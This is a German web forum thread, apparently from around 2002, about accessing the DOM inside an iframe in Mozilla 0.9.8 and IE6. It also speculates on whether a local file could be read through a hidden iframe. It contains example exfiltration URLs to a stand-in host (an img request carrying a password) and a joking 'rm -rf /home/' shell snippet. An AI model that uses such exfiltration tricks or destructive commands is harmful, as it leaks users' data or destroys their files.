Christoph Zurnieden: (DOM) Zugriff auf Baum im iframe?

Hallo Zusammen,

Da habe ich mir mit Mühe und Not ein Iframe zusammengebastelt und beladen, will auf den Baum dort zugreifen und nix is ;-)

parent.frames[0].document.childNodes[0].childNodes[1].hasChildNodes()

behauptet steif und fest: false.

Das Frame ist das Richtige. (checked via parent.frames[0].name)
childNodes[0].nodeName ist "HTML".
childNodes[0].childNodes[1].nodeName ist "BODY"

Dort in "BODY" sind mit Sicherheit noch Childs. Ich habe ja schließlich auch Inhalt im IFrame, den kann ich begucken ;-)

Bis hierhin stimmt es also.
Oder doch nicht?

Kann natürlich auch am Browser liegen, ich habe z.Z. "nur" den Mozilla 0.9.8 zum ausprobieren von DHTML.

Allerdings ist es natürlich auch möglich, daß es mit Absicht nicht funktioniert. Immerhin ließe sich auf diese Weise allerhand Schabernack treiben:

Inhalt einer lokalen Datei in ein unsichtbares (display:none) IFrame schreiben.
Dort auslesen und noch ein unsichtbares IFrame/Img beladen mittels:

http://example.com/~Chracker/getData?passwort=12n23Iz...

Tja, böse Falle wäre das ;-)

Mmh...
Wenn ich es mir recht überlege, _darf_ so etwas gar nicht funktionieren und ich kann mir dieses Posting eigentlich sparen.

Mache den Thread aber trotzdem mal auf, vielleicht funktioniert es ja tatsächlich in irgendeinem Browser und wäre damit als ziemlich heftige Sicherheitslücke anzuprangern.

so short

Christoph Zurnieden

  1. Hallo,

    Da habe ich mir mit Mühe und Not ein Iframe zusammengebastelt und beladen, will auf den Baum dort zugreifen und nix is ;-)

    parent.frames[0].document.childNodes[0].childNodes[1].hasChildNodes()

    behauptet steif und fest: false.

    Das Frame ist das Richtige. (checked via parent.frames[0].name)
    childNodes[0].nodeName ist "HTML".
    childNodes[0].childNodes[1].nodeName ist "BODY"

    Dort in "BODY" sind mit Sicherheit noch Childs. Ich habe ja schließlich auch Inhalt im IFrame, den kann ich begucken ;-)

    Bis hierhin stimmt es also.
    Oder doch nicht?

    Kann natürlich auch am Browser liegen, ich habe z.Z. "nur" den Mozilla 0.9.8 zum ausprobieren von DHTML.

    Ja, liegt am Browser. Mozilla 0.9.7 findet unter HTML zuerst einen Textknoten und dieser hat keine Kindknoten:

    parent.frames[0].document.childNodes[0].childNodes[1].nodeName; // --> #text

    parent.frames[0].document.childNodes[0].childNodes[2].nodeName; // --> BODY

    und darunter wird auch der IFRAME gefunden.

    Beim IE klappt das direkt (wie von Dir beschrieben).

    parent.frames[0].document.getElementsByTagName("body")[0].hasChildNodes(); ergibt bei beiden Browsern true.

    Wenn ich es mir recht überlege, _darf_ so etwas gar nicht funktionieren und ich kann mir dieses Posting eigentlich sparen.

    Nein, nur beim Zugriff ueber Domaingrenzen hinweg waere das ein Sicherheitsproblem.

    MfG, Thomas

    1. Hallo,

      parent.frames[0].document.childNodes[0].childNodes[1].hasChildNodes()

      Bis hierhin stimmt es also.
      Oder doch nicht?

      Kann natürlich auch am Browser liegen, ich habe z.Z. "nur" den Mozilla 0.9.8 zum ausprobieren von DHTML.

      Ja, liegt am Browser. Mozilla 0.9.7 findet unter HTML zuerst einen Textknoten und dieser hat keine Kindknoten:

      Sieht so aus, als hätten die das kaputtrepariert ;-)

      Hab das mal ausprobiert:

      parent.frames[0].document.childNodes[0].childNodes[1].nodeName; // --> #text

      Der sagt bei mir "BODY" respektive "FALSE" bei hasChildNodes()

      parent.frames[0].document.childNodes[0].childNodes[2].nodeName; // --> BODY

      ...has no properties (gibt's also gar nicht)

      Der Vollständigkeit halber:

      parent.frames[0].document.childNodes[0].childNodes[0].nodeName

      ergibt:"HEAD", hat aber auch keine Kindchen, sagt Mozilla. (Hat er natürlich jede Menge. Man kommt sich da vor, wie bei einem Vaterschaftsprozeß ;-)

      und darunter wird auch der IFRAME gefunden.

      Gefunden wohl, nur angesprochen nicht.

      Beim IE klappt das direkt (wie von Dir beschrieben).

      parent.frames[0].document.getElementsByTagName("body")[0].hasChildNodes(); ergibt bei beiden Browsern true.

      Nur beim Mozilla 0.9.8 nicht. Zumindest nicht bei dem, den ich hier habe.

      Wenn ich es mir recht überlege, _darf_ so etwas gar nicht funktionieren und ich kann mir dieses Posting eigentlich sparen.

      Nein, nur beim Zugriff ueber Domaingrenzen hinweg waere das ein Sicherheitsproblem.

      Ich glaube nicht, daß Domaingrenzen hier eine Rolle spielen. Es kann auch alles auf einer liegen.

      Könntest Du denn o.a. Szenario einmal praktisch durchspielen, wenn es auf dem IE funktioniert? Ich komme dieses Wochenende nämlich (leider? Gottseidank? ;-) an keinen IE mehr.

      Also eine locale Datei in ein IFrame laden, ein paar Knoten auslesen und als einen Request (z.B. <img src="http://example.com/getData?node1Value ..."> zu verbergen suchen?

      Würde mich jetzt doch einmal interessieren. Zumindest ein ungutes Gefühl kann ich dabei nicht verbergen.

      Auf jeden Fall schon mal schönen Dank für die Antwort!

      so short

      Christoph Zurnieden

      1. Hallo,

        Man kommt sich da vor, wie bei einem Vaterschaftsprozeß ;-)

        Ja, das trifft es ziemlich genau ;-).

        Könntest Du denn o.a. Szenario einmal praktisch durchspielen, wenn es auf dem IE funktioniert? Ich komme dieses Wochenende nämlich (leider? Gottseidank? ;-) an keinen IE mehr.

        Ich habe in den IFRAME mal eine Datei iframeoben.htm mit einem Absatz <p>Hallo</p> geladen.

        IE und Mozilla kommen bis hierhin durch

        var inhalt=parent.frames[0].document.getElementsByTagName("body")[0].childNodes[0].getAttribute("src");
        alert(inhalt);

        und melden iframeoben.htm

        Der IFRAME hat nun wiederum sein eigenes document-Objekt und der Zugriff sollte folglich so weitergehen:

        var i=parent.frames[0].document.getElementsByTagName("body")[0].childNodes[0].document.documentElement.childNodes[1].childNodes[0].nodeName;
        alert(i);

        Mozilla blockt das voellig mit Fehlermeldung und der IE 6 gibt IFRAME aus, wo hier eigentlich der BODY und darunter das P-Element zu finden sein sollte. Das heißt aber offenbar, dass der IFRAME keinen tieferen Zugriff mehr erlaubt.

        Ich meinte mit Domaingrenzen, dass der Zugriff auf das src-Attribut eines (I)Frames ein Problem sein kann, aber innerhalb der eigenen Domain (bzw. lokal) nicht.

        Also eine locale Datei in ein IFrame laden, ein paar Knoten auslesen und als einen Request (z.B. <img src="http://example.com/getData?node1Value ..."> zu verbergen suchen?

        Hat sich damit wohl erledigt.

        Auf jeden Fall schon mal schönen Dank für die Antwort!

        Puuh, da braucht man ja 2 Meter breite Bildschirmfenster ;-).

        MfG, Thomas

        1. Hallo,

          Ich habe in den IFRAME mal eine Datei iframeoben.htm mit einem Absatz <p>Hallo</p> geladen.

          (Früher hieß das wenigstens noch;: "Hallo Welt"! ;-)

          IE und Mozilla kommen bis hierhin durch

          var inhalt=parent.frames[0].document.getElementsByTagName("body")[0].childNodes[0].getAttribute("src");
          alert(inhalt);

          und melden iframeoben.htm

          Soweit muß das ja auch noch gehen, schließlich liegt der IFrame auch noch im Ursprungsbaum.
          So weit, so gut also.

          Der IFRAME hat nun wiederum sein eigenes document-Objekt und der Zugriff sollte folglich so weitergehen:

          var i=parent.frames[0].document.getElementsByTagName("body")[0].childNodes[0].document.documentElement.childNodes[1].childNodes[0].nodeName;
          alert(i);

          Mozilla blockt das voellig mit Fehlermeldung und der IE 6 gibt IFRAME aus, wo hier eigentlich der BODY und darunter das P-Element zu finden sein sollte. Das heißt aber offenbar, dass der IFRAME keinen tieferen Zugriff mehr erlaubt.

          Gut.
          Nein, das meine ich wirklich so ;-)

          Ich meinte mit Domaingrenzen, dass der Zugriff auf das src-Attribut eines (I)Frames ein Problem sein kann, aber innerhalb der eigenen Domain (bzw. lokal) nicht.

          Naja, das ist ein altbekanntes Problem, wenn man wildfremde Leute auf seinem Computer herumfummeln läßt. Und: was anderes ist Javascript schon? ;-)

          Mmh...

          bash-2.02# rm -rf /home/[1]*
          bash-2.02# ls /home/
          /home/My-home-is-my-castle
          bash-2.02# echo -e "Back from holiday!\n\nyours\n\nBOfH" > /etc/motd

          ;->

          Also eine locale Datei in ein IFrame laden, ein paar Knoten auslesen und als einen Request (z.B. <img src="http://example.com/getData?node1Value ..."> zu verbergen suchen?

          Hat sich damit wohl erledigt.

          Ja, und das ist auch eigentlich ganz gut so.
          Ich wollte damit eigentlich ein reine Javascript-Volltextsuche implementieren. (Aus einer Liste die Dateien der Site nacheinander in's IFrame laden, abklappern und ausgeben, falls gefunden)
          Naja, muß es halt doch wieder ein handgestrickter Index werden ;-)

          BTW: Die JavaScript-Suche von SelfHTML funktioniert im Mozilla nicht, wenn man die Möglichkeit nutzt, die Statuszeile für Javascript auf Readonly zu schalten:

          uncaught exception: Permission denied to set property Window.defaultStatus

          Tja, wie war das? Immer auf Schreibrechte prüfen vor dem Schreiben? ;-)

          Auf jeden Fall schon mal schönen Dank für die Antwort!

          Puuh, da braucht man ja 2 Meter breite Bildschirmfenster ;-).

          Wofür? Für die Dankesrede oder die Objektorientiertheit von DOM? ;-)))
          (Zumindest beim Mozilla werden Zeilensprünge und Whitespace in DOM-Basteleien ignoriert)

          Mit bestem Dank für's Ausprobieren:

          so short

          Christoph Zurnieden


          1. a-z0-9 ↩︎